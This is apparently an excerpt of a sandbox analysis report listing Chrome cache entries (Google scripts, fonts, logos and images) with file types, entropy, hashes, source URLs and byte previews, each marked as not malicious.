Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	downloaded
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
URL:	https://www.google-analytics.com/analytics.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2894
Entropy (8bit):	7.87829726905419
Encrypted:	false
SSDEEP:	48:sGFf1qcoO3De4MaDZLU+ZDUI8qK/+xn61WIECnPk9dTnqxNB9if:sw1qcoqFJUoZu/VyZdrqxr9u
MD5:	2AAC7F580EE8C66ACF54DAC0ACC95DAA
SHA1:	23A7F3ADDB13338BEAEE158512E612FB6587567B
SHA-256:	52C68BC25C43D062CF949A60EA05D08B27F96BCA68C23164018BC62FC9B87491
SHA-512:	3EE02BF5627986A17524438A727977E08F25768344EE6392928B6CDA732C7ACB7B12C0F09D8E7C2F7E7AF97D5454C591DA27CEECFACAD059EC2500789A59AE60
Malicious:	false
URL:	https://fonts.gstatic.com/s/i/productlogos/chrome/v7/web-64dp/logo_chrome_color_1x_web_64dp.png
Preview:	.PNG........IHDR...@...@......iq.....IDATx...PSw...,..V+......$.(.H..#..X..nw.....l...V....i.:^x.E...V.tj[Q.A...v...F9<9.\.....%...=....f.3..<...........R..C...E.~.XP...i..%..C5.Y..~.g...-.[..,..)][?SZ..!.h.....H...k.q."..-/.....zT.R\|.A.....x}.x../..).)..YR2H......H...E..E...2}d......(....x.U......O.....-s.w..(W.B......G.E+....<....@.pn7.V.&.G<R.+.q%\.=.\......h.UBs,.}S..z.......e\!D&.....pL..U..tC..\|.A..B.k.! .0.....-...IK..o.+..j..3.!.@...G.i.QN......5A..?p.@K<Q.@.....$..e...U..x.(75.g}..x.Q.....,.Z..5>..2x.=......?..@.\.;...I.L\V.L.V@\|..V\|...?H../+..!.0....x.w....,..Wc......4..Y....h.......\;.h.1..t~......'.......\|.........+.'M.F...\|TQ..z...)....O..........V.....`>%..Qt.......tF......at.2s.y.o....W.{...m....h...m.9.m2..v..q=.+&y..B.;......(...{.o....".$@.K.Sc...O].Pt.....A..0.[d.c.7..~..............CoB1... \|..e6x.0.brR..l1'.M.....;D...>8.....0...........,.&x..-,%C..>..........\|=...k.$:...`...7....~.~....*ZB_E.=......Ua..._@..O.

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	60408
Entropy (8bit):	4.746090328799968
Encrypted:	false
SSDEEP:	768:fctDxhgZqb0HZb0HEuZ5V2KKCICtvlc54WA+Vw4G4Fw0RToTQTQDbx4r/MT4gohL:fesZvo2KKVmp29bFhTOG2T4go+9nK8Hm
MD5:	A371D1ADD8D95D9A5AC0222DBFC707DA
SHA1:	B273236FC088B58AEC5BE2E7CD642E290C31CBF3
SHA-256:	0A11003900B5593A71CFAB463C2A5E7D2588B251F697EAE8B64946F4D178FE54
SHA-512:	1C4FC0A64E927A073713435830F9D3044894FFDAF30E6966B28D1F3757D564D6E9124F632EB0B61EA41947973FCB28C82F98696E021A8A827FB96E2FF0D27ACD
Malicious:	false
URL:	https://ssl.gstatic.com/support/content/images/static/homepage_header_background_v2.svg
Preview:	<svg width="1280" height="307" viewBox="0 0 1280 307" fill="none" xmlns="http://www.w3.org/2000/svg">.<circle cx="1121.01" cy="217.239" r="27.6618" stroke="#D4E1F3" stroke-linecap="round"/>.<path d="M1120.58 204.281V292.049" stroke="#D4E1F3" stroke-linecap="round"/>.<path d="M1120.58 223.588L1130.88 213.286" stroke="#D4E1F3" stroke-linecap="round"/>.<path d="M1120.39 233.491L1113.06 226.163" stroke="#D4E1F3" stroke-linecap="round"/>.<path d="M1120.39 217.429L1113.06 210.102" stroke="#D4E1F3" stroke-linecap="round"/>.<circle cx="1132.29" cy="223.588" r="1.69704" stroke="#D4E1F3" stroke-linecap="round"/>.<circle cx="1104.71" cy="210.101" r="1.69704" stroke="#D4E1F3" stroke-linecap="round"/>.<path d="M1101.26 297.3C1104.15 291.738 1110.46 288.868 1116.55 290.35C1122.63 291.832 1126.92 297.283 1126.93 303.549" stroke="#D4E1F3" stroke-linecap="round"/>.<path d="M1087.8 303.549C1087.7 300.666 1089.18 297.957 1091.66 296.486C1094.14 295.014 1097.23 295.014 1099.71 296.486C1102.19 297.957 1103

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1741x979, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	106290
Entropy (8bit):	7.99716969201618
Encrypted:	true
SSDEEP:	3072:ibuyn9NZDLjSk2CB8bAsKDFN8+OUwNuuYWpq:y9NtjzKkpN8VLu+M
MD5:	428183BFB7C31D8C3BCC985DAC004681
SHA1:	691AE27C0FC2FE29732BD7C6907F4A9BE9253356
SHA-256:	B4F40DAF431A5CF056DFFF45E867C8C24D8107505CD46FF17B0F9102E4FE3D2B
SHA-512:	7E648B56988E9B66FCBE3DA447CEACFAC2A39D43D78604B50085CA3F64C898DDFD81F5C01F4A6854511BCC8845BABA7F8C4EC20974094F7F87AF27E4D1A78003
Malicious:	false
Preview:	RIFF...WEBPVP8 .....>.......>.F.K...,..9A...in.f.Y....... j.........._.)\|u.......=.?.....'M.W........c........t........7.'.o.?.{_..@?.z\z.~.{.. .C...W._........}@?..jt......?.?......../..<....._._....G...?........_........_._.................._........G.?.`.Q./..../.....o./.A......?.\|.u/.?........s...?.............~.A.{.W....C.q.......?..`?....................y...........\|..:.................k.....o..........u..................m.....{.....q..-..f.$M.. E........L'&..^...........<.y+.-.+..5.......b...FTM.c...............JMA...$...`+.x.]... ..7kc\|..5....%.x.W{..&4......:.t....;.w@.....t..(.T)a6F........."......%\u...'D..........}..3....F.Lbh.g..g....-....3..%.W9....n.F~5R/5J..ql..~.F.B.LX.+...S.......+.0+c\|...F........;.O..i.`..D.ez+uRj.I..9..e..q...;.u.c1.'itl...F....dx..pN......Y...\|...&~>Q...o=.1`.)!.d.....A....~......8....Q.E.dj..V.`U...XUQ....o.}..pe%.-..H.....J.7........58.-.....".<..O._..N..;.i..b..1".I.}-...>......f.]...Ue....w.L._.z...

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15552, version 1.0
Category:	downloaded
Size (bytes):	15552
Entropy (8bit):	7.983966851275127
Encrypted:	false
SSDEEP:	384:HDKhlQ8AGL0dgUoEGBQTc7r6QYMkyr/iobA2E4/jKcJZI7lhzi:jslQ+LhUoTB0Qr6Qjkg/DmcJufzi
MD5:	285467176F7FE6BB6A9C6873B3DAD2CC
SHA1:	EA04E4FF5142DDD69307C183DEF721A160E0A64E
SHA-256:	5A8C1E7681318CAA29E9F44E8A6E271F6A4067A2703E9916DFD4FE9099241DB7
SHA-512:	5F9BB763406EA8CE978EC675BD51A0263E9547021EA71188DBD62F0212EB00C1421B750D3B94550B50425BEBFF5F881C41299F6A33BBFA12FB1FF18C12BC7FF1
Malicious:	false
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2
Preview:	wOF2......<...........<Z.........................d..z..J.`..L.\..<.....<.....^...x.6.$..6. .... ..S..}%.......\|....x..[j.E...d..-A...]=sjf$X.o.5......V....i?}.\...;...V......5..mO=,[.B..d'..=..M...q...8..U'..N..G...[..8....Jp..xP...'.?....}.-.1F.C.....%z..#...Q...~.~..3.............r.Xk..v..7t.+bw...f..b...q.W..'E.....O..a..HI.....Y.B..i.K.0.:.d.E.Lw....Q..~.6.}B...bT.F.,<./....Qu....\|...H....Fk.-..H..p4.$......{.2.....".T'..........Va.6+.9uv....RW..U$8...p...........H5...B..N..V...{.1....5}p.q6..T...U.P.N...U...!.w..?..mI..8q.}.... >.Z.K.....tq..}.><Ok..w.. ..v....W...{....o...."+#+,..vdt...p.WKK:.p1...3`. 3.......Q.].V.$}.......:.S..bb!I...c.of.2uq.n.MaJ..Cf.......w.$.9C...sj.=...=.Z7...h.w M.D..A.t.....]..GVpL...U(.+.)m..e)..H.}i.o.L...S.r..m..Ko....i..M..J..84.=............S..@......Z.V.E..b...0.....@h>...."$.?....../..?.....?.J.a,..\|..d...\|`.m5..b..LWc...L...?.G.].i...Q..1.:..LJV.J...bU.2.:\.kt.......t.....k....B..i.z+...........A.....

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65327)
Category:	dropped
Size (bytes):	71705
Entropy (8bit):	5.3803254597526715
Encrypted:	false
SSDEEP:	1536:ZQD6TmRVRZhsrpscTKbsveXl7sWYqPMaM:Z/TKZhiKov9WHMaM
MD5:	CEB8BCB73E5536D8416735A3977D227A
SHA1:	D9521B15CDD170608C504250516F35BACF1C8E55
SHA-256:	1764BC84EA6ABE91F1634B73A5A6C0EBFF400461DFEA6A4040BD0C03D86CAA8B
SHA-512:	70A0A1C2912199F5B2DA890B3F29474462F391D794D86DD29A5C62106E89C23C51B9836FF6BE0A2271C30B003C959ED3D9075AEA95AB00FDD6EAF4059631D753
Malicious:	false
Preview:	/! For license information please see project.js.LICENSE.txt /.!function(){"use strict";var t={}.toString,e=function(e){return t.call(e).slice(8,-1)},r=Array.isArray\|\|function(t){return"Array"==e(t)},n=function(t){return"object"==typeof t?null!==t:"function"==typeof t},i=function(t){if(null==t)throw TypeError("Can't call method on "+t);return t},o=function(t){return Object(i(t))},s=Math.ceil,a=Math.floor,u=function(t){return isNaN(t=+t)?0:(t>0?a:s)(t)},c=Math.min,l=function(t){return t>0?c(u(t),9007199254740991):0},d=function(t,e){if(!n(t))return t;var r,i;if(e&&"function"==typeof(r=t.toString)&&!n(i=r.call(t)))return i;if("function"==typeof(r=t.valueOf)&&!n(i=r.call(t)))return i;if(!e&&"function"==typeof(r=t.toString)&&!n(i=r.call(t)))return i;throw TypeError("Can't convert object to primitive value")},f=function(t){try{return!!t()}catch(t){return!0}},h=!f((function(){return 7!=Object.defineProperty({},"a",{get:function(){return 7}}).a})),p="object"==typeof window&&window&&window.Ma

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1629)
Category:	dropped
Size (bytes):	101011
Entropy (8bit):	5.393831103144257
Encrypted:	false
SSDEEP:	1536:XTOe+KCITZEluPyxUy6HVsT+j3/m3MQXs98qw7:XTx+BefQ3hs98R
MD5:	64CF196C81F8A96E21199316382A30F3
SHA1:	8D4736AD220F6156711F75F46E56B2F5D1CD2223
SHA-256:	9A658763B73FFCEEB2D9AD051E399A976E82F33786A69AC470F1E3A69B19F203
SHA-512:	D5FE1054505EC8433BCA15C0D37FD7C2E9E65AE48071D2CB46E6502E437FE348E9FC611D97545A1ECB1A10B49A75F88499B3FFD29F1C54EB7987655340BC6BBC
Malicious:	false
Preview:	"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this;.try{._.bpa=function(a){if(a==null)return a;if(typeof a==="bigint")return a>=0&&(0,_.rd)(a)?a=Number(a):(a=BigInt.asUintN(64,a),a=(0,_.rd)(a)?Number(a):String(a)),a;if(_.Sc(a))return typeof a==="number"?_.dd(a):_.ed(a)};._.lv=function(a,b){var c=0;_.ka(a,function(d,e){b.call(void 0,d,e,a)&&_.sa(a,e)&&c++})};_.cpa=function(a){if(a instanceof _.mv)return a.j;throw Error("B");};_.nv=function(a){return new _.mv(_.Ka,a[0].toLowerCase())};_.ov=function(a,b,c,d){if(a.length===0)throw Error("B");a=a.map(function(f){return _.cpa(f)});var e=c.toLowerCase();if(a.every(function(f){return e.indexOf(f)!==0}))throw Error("ra`"+c);b.setAttribute(c,d)};_.pv=function(a){this.wa=_.y(a)};_.B(_.pv,_.A);._.qv=function(a){this.wa=_.y(a,7)};_.B(_.qv,_.A);_.qv.prototype.Bj=_.aa(32);_.qv.prototype.getType=function(){return _.qk(this,2)};_.qv.prototype.xe=function(a){return _.Ek(this,2,a)};_.qv.proto

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:	384:ctE5KIuhGO+DSdXwye6i9Xm81v4vMHCbppV0pr3Ll9/w:cqrVO++tw/9CICFbQLlxw
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2456
Entropy (8bit):	7.842157819212904
Encrypted:	false
SSDEEP:	48:K6CLQ54yWRbmPh8fiW4+GyYwvXEaeW+VL1vz0MzEXdQyhvSML:h5/WRC2fWUYwPE+maMzEX+yhv5L
MD5:	7F6EB4EC32BE7A2D55850375C4FA6358
SHA1:	B6B2D97AC3F3EB6FA9F5B4B365605CC196A3CEDF
SHA-256:	61C965D927840A8A4857C6D4A0B098B48A9B3EFC5F81656E81343B7FBC17E4E2
SHA-512:	446C0C3BA65F6D7633771AF78820983272958734EE584BF6DFA0B86790A82A0B3AC1C04F47ADF01D14B3BDFE6F572D133C70C73BD36F6FFC4CB9D2025E00EF8F
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq....KiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about=""/>. </rdf:RDF>.</x:xmpmeta>.<?xpacket end="r"?>-CD.....IDATx..m.TW.....y.e......e.%.F7.4.S$.b.+6.ZS...i..S)...J..m...1..l.........m.5..T.Bq.}Y`w..;...sg:.2;..=............}`.)....U._..y..7..{.......Z8q....$.Efe,.6..........?...._+..5.'.<.....:.$&.Dp....x..Qp.."`H5X5....!%\.#..kC.*...O.].o.1......Z5....s.fz..'2r(l..Y...\|.u.$@K.5.J;\..'.....]..?..`...5..P..K..Z3.M\.b...'..hRTO_.]..wc[........YM.[C.....8s....aD......<;-bBx......u.#@.......(x9.......(...\|.HIl.>..^...R.~.....=?e.......I..$.....l...X....~`YZ...l.X..a...,....D$....r......A^V.)..@...\>.Ef%=.T.aw....e.[.\|..T......k..........MA...%....-(...\|...%.T..(.A...!...M.7......8.[.g...~.{S

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	573
Entropy (8bit):	7.411210973910928
Encrypted:	false
SSDEEP:	12:6v/7l1hdOSV9dzFYJ7K71YEgSkK47DZEhepVvFwXHWZTNLfLiO6hc:49dzFfp5X2DShmxO0FOxhc
MD5:	AC0988CF6F19732322A917C3C3D7288D
SHA1:	20421058057542F50B38DF143F1EC48B671E0677
SHA-256:	BA32E274A78AFB8194B5CD13B7513292249455806D12B4905FA0923EE814C78E
SHA-512:	7A7328957660A49A7A5408175BE212F35FC2E09F664C2EAD6580E98AB1E41BB629B7B4ACC3842A89BC15CC8DE0C571F79328588C5F706F2FB393BACAD7EF4CBF
Malicious:	false
URL:	https://www.gstatic.com/images/branding/product/1x/youtube_64dp.png
Preview:	.PNG........IHDR...@...@......iq.....IDATx....d.@..."(.a..CQ.0.E......"....`..(....(...a.....b.....awm.\v.....G...$..D".H$...$h.<R.S@..5.[.4).3.w...x....I.5...RJkB.}."::t.k............:......].X......NpPN'&....uiR......^..z2)`Mp......C.+..R.......Z]...P...&...8>.R.......l6@...Wu.g.(..b.\\TY......~.l.t:U......Z.`..H.......t.......y..\|......p......c..n.#0..JY{.^Y+..;..*>.~..B\|.c4.rE..Q@.....P.......Ow.T^..e..%..!.....U....):5)`LpTbz".G.L.....L..Wn......?...Lp.......8..=..P....Ps.}PB.o...C..iD1Hs%nI.]h..%?...( E^K".H$..D".H4..,.....n~....IEND.B`.

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2998
Entropy (8bit):	7.879745431378973
Encrypted:	false
SSDEEP:	48:YyU2NQoPeJ+rb8smrZ5mLml7E6stVhP3AkLMZMfSOLsIqDSwmU68Q0O/ICU0tio:hUAWJ+bmrZYLSe9LMBImyS4ICUG3
MD5:	77C8483BC6A16664E5622E7D4ABAAEF6
SHA1:	7EEB5C99555FFC07827D5A47941296823A6A919C
SHA-256:	F5B90101A8103328FA19749E8E05CE5B235CBEECD070B0DB3A63A37D5587CA7C
SHA-512:	A256BF32805F93D67232ADC4E01AA9531EA843B89FEF7ED8BE296DAC762C0F1BAA23E577045812FA7BDEF9C3E519F675C2997FBACFD536FF9C60C09D14B9EAFA
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq....}IDATx...sS...B...#z........9.w;.1. @2.2....M.dy.+...6......&i3).F..N....dY.%K...o..;.}..v$.lA3.H....\|....b.....cy...7{........\|{..{.q.?...P.:.3...........?......n..N.vu.............APR8.......;....g...n.)......,...h.n_........&...+.H..g.u...Z..=..,nv.YP..(`jyJ..V...._..'...LV.<.o.z..t..w}..c..\|PqG...R^...=.'...S..m9...b.TX..DA.4..)...;...F.o....V>_d..D.@l@F...=..q.%..'...'}g..Q....&$3...R:...7.................v..KN............w...n.... pA...M.hu@n.).S..NO.....n<.}.>..b..4X......=.w._.k]./....ua...>(%Q......i.0e# .&)^.Hi..v..M.I...=.oq,5S..j).....j/....j....&7.0.F.... ....<[....o..N..b.%...\|.....'...vH.....y.$#..3...?..........R.%.....!.$....j..S...b.>Q.R..3jC......._....c...1..k.. u.......V.&4S:$n.I..ocuae<.M.Vlq..............`..-1..........^ee..O..g.)...VT..~.lq.q.~..9.[].'s....L.....g{...w..hJ.!.heE1....b...B..i.f..... ..98/.-....d.X.{...._>.&XX$D....@J.LX.i........='..P.u...7....+......Y....

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1395)
Category:	downloaded
Size (bytes):	117446
Entropy (8bit):	5.490775275046353
Encrypted:	false
SSDEEP:	3072:T2yvefrtJUEgK3Cvw3wWs/ZuTZVL/G1kL:T2y4tJbDK0L/G1kL
MD5:	942EA4F96889BAE7D3C59C0724AB2208
SHA1:	033DDF473319500621D8EBB6961C4278E27222A7
SHA-256:	F59F7F32422E311462A6A6307D90CA75FE87FA11E6D481534A6F28BFCCF63B03
SHA-512:	C3F27662D08AA00ECBC910C39F6429C2F4CBC7CB5FC9083F63390047BACAF8CD7A83C3D6BBE7718F699DAE2ADA486F9E0CAED59BC3043491EECD9734EC32D92F
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);.var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);ma=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)return a;var b

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5945)
Category:	dropped
Size (bytes):	278417
Entropy (8bit):	5.579837135598294
Encrypted:	false
SSDEEP:	6144:Np8YnsmQ8ohZ1HcRCriua0Mf3/9rf1uT+bQx5:f0m9oh7Hc8ci5
MD5:	0FB12DC997A88BD8A340FC9B51A51EAA
SHA1:	8F0D10FDBC345E1017A495818378252B04E3CF3A
SHA-256:	5D94FF99F087C36C63C25C800BF3705DA4CF92822C9815DB8841F1DBFD703CB7
